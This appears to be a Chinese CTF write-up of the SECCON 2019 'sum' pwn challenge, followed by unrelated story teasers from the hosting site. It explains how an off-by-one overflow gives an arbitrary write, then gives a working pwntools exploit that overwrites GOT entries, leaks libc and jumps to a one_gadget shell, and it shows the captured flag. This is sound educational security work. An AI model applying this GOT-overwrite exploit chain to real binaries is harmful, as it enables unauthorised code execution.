2019 Seccon PWN Writeup--sum

0x20 sum

这道题目挺有意思的, 一开始没想明白怎么利用, 只知道一个Integer Overflowoff by one. 可以把这个问题定性为: 如何通过8字节任意地址写获得shell. 当然, 大佬请绕道~

0x21 检查保护

➜  challenge checksec sum
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

0x22 漏洞分析

main()

程序逻辑也很简单, 就是一个加法运算, 一般这样的都能往整数溢出方面猜了. 先看看main()函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 num[5]; // [rsp+0h] [rbp-40h]
  __int128 result; // [rsp+28h] [rbp-18h]
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  num[0] = 0LL;
  num[1] = 0LL;
  num[2] = 0LL;
  num[3] = 0LL;
  num[4] = 0LL;
  result = (unsigned __int64)&result + 8;       // equal: result = &num[4]
  puts("[sum system]\nInput numbers except for 0.\n0 is interpreted as the end of sequence.\n");
  puts("[Example]\n2 3 4 0");
  read_ints(num, 5LL);
  if ( (signed int)sum(num, (_QWORD *)result) > 5 )// check int number count
    exit(-1);                                   // must change exit addr as main address
  printf("%llu\n", *((_QWORD *)&result + 1));
  return 0;
}

上面有两个比较重要的函数, 一是read_ints(); 二是sum(). 还有两个需要关注的数据, 一是num[5], 二是result. 这里需要注意一下, result占了16个字节, 因为后面用到了result = &result + 8, 而numresult在堆栈上是相邻的, 因此如果能够让num数组越界写的话, 就能改result在栈上的值, 即任意修改result的地址.

read_ints()

unsigned __int64 __fastcall read_ints(__int64 *num, __int64 cnt)
{
  __int64 i; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0LL; i <= cnt; ++i )                // vuln1: off by one, can write 6 number
  {
    if ( (unsigned int)__isoc99_scanf("%lld", &num[i]) != 1 )
      exit(-1);
    if ( !num[i] )
      break;
  }
  return __readfsqword(0x28u) ^ v4;
}

上面可以看到,read_ints()第二个参数是输入整数的数量cnt, 但是for循环中的判断为i <= cnt, 故实际可写入6*8 = 48个字节, 即可以改栈上result的地址.

sum()

__int64 __fastcall sum(__int64 *num, _QWORD *result)
{
  int i; // eax
  unsigned int ret; // [rsp+14h] [rbp-Ch]

  *result = 0LL;
  ret = 0;
  while ( num[ret] )
  {
    i = ret++;
    *result += num[i];                          // vuln2: integer overflow
  }
  return ret;
}

这里能明显看到result可以整数溢出(但不需要利用这个洞), 如果能够控制栈上result地址的话, 就可以往任意地址写入value. *result即为这个value.

0x23 漏洞利用

经过上面的分析, 总的利用思路如下:

  1. 输入6个整数, 最后一个整数为我们想要写入数据的地址.(在read_ints()中)

  2. 为了在sum()中控制修改后的result地址上的值, 需要保证六个整数的和(sum)的结果为我们希望写入的值.

  3. 总体的利用步骤如下:

    • First, main函数只能执行一次, 且main()中有sum(num, (_QWORD *)result) > 5的判断, 如果输入超过了5个整数就会exit(), 因此可以修改exit的got地址为main函数的地址, 每次exit的时候实际上调用main.

    • Second, 能够重复调用main函数还不够, 还需要泄露libc地址以跳到onegadget. 但是main函数不能执行到printf(因为exit()变成了main), 而前面两次puts都是固定字符串变量, 在.data段, 无法修改那个段上的值. 所以找到了setup()函数, 这个函数在_start中被__init_array调用. setup()中调用了setvbuf(), setvbuf的第一个参数是.bss段上的, 可以先把setvbuf()got地址改为puts, 然后再改__bss_start地址上的值为putsgot地址, 就能打印出puts的地址.

      unsigned __int64 setup()
      {
        unsigned __int64 v0; // ST08_8
      
        v0 = __readfsqword(0x28u);
        setvbuf(_bss_start, 0LL, 2, 0LL);
        setvbuf(stdin, 0LL, 2, 0LL);                  // 2: unbuffered
        alarm(0x1Eu);
        return __readfsqword(0x28u) ^ v0;
      }
      
    • Third, 经过上一步计算出libc基址后, 就能确定one_gadget的地址了, 最终确定只有0x4f322的one_gadget才有用. 如下:

      ➜  seccon one_gadget libc.so_18292bd12d37bfaf58e8dded9db7f1f5da1192cb 
      0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
      constraints:
        rcx == NULL
      
      0x4f322 execve("/bin/sh", rsp+0x40, environ)
      constraints:
        [rsp+0x40] == NULL
      
      0x10a38c execve("/bin/sh", rsp+0x70, environ)
      constraints:
        [rsp+0x70] == NULL
      

0x24 exp

#!/usr/bin/env python
#coding=utf-8

from pwn import *

# we should make 6 integers sum result is %value in %addr
def sla(addr, value):
    p.sendlineafter("2 3 4 0\n", "-{} 1 1 1 {} {}".format(addr, value - 3, addr))

context.log_level = "debug"
context.terminal  = ["tmux", "splitw", "-h"]

p = process("./sum")a
elf = ELF("./sum")
libc = ELF("./libc.so_18292bd12d37bfaf58e8dded9db7f1f5da1192cb")

puts_plt = 0x400600

# 1. First, change exit got as _start address, so can reuse main func
sla(elf.got['exit'], elf.sym['_start'])
# 2. Second, change setvbuf got as puts address in setup(),
# setup() func called by _init_array
# so that we cant puts value
sla(elf.got["setvbuf"], puts_plt)
# 3. Third, change __bss_start value as puts got address, can leak puts address
sla(elf.sym['__bss_start'], elf.got['puts'])

puts_addr = u64(p.recvn(6).ljust(8, '\x00'))
libc.address = puts_addr - libc.sym['puts']
info("leak puts address: " + hex(puts_addr))
info("libc base: " + hex(libc.address))

# 4. change scanf got address as one gadget
sla(elf.got['__isoc99_scanf'], libc.address + 0x4f322)

p.interactive()
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    'cat flag.txt\n'
[DEBUG] Received 0x36 bytes:
    'SECCON{ret_call_call_ret??_ret_ret_ret........shell!}\n'
SECCON{ret_call_call_ret??_ret_ret_ret........shell!}
[*] Got EOF while reading in interactive
$  
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,298评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,701评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,078评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,687评论 0 202
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,018评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,410评论 1 211
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,729评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,412评论 0 194
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,124评论 1 239
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,379评论 2 242
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,903评论 1 257
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,268评论 2 251
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,894评论 3 233
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,014评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,770评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,435评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,312评论 2 260

推荐阅读更多精彩内容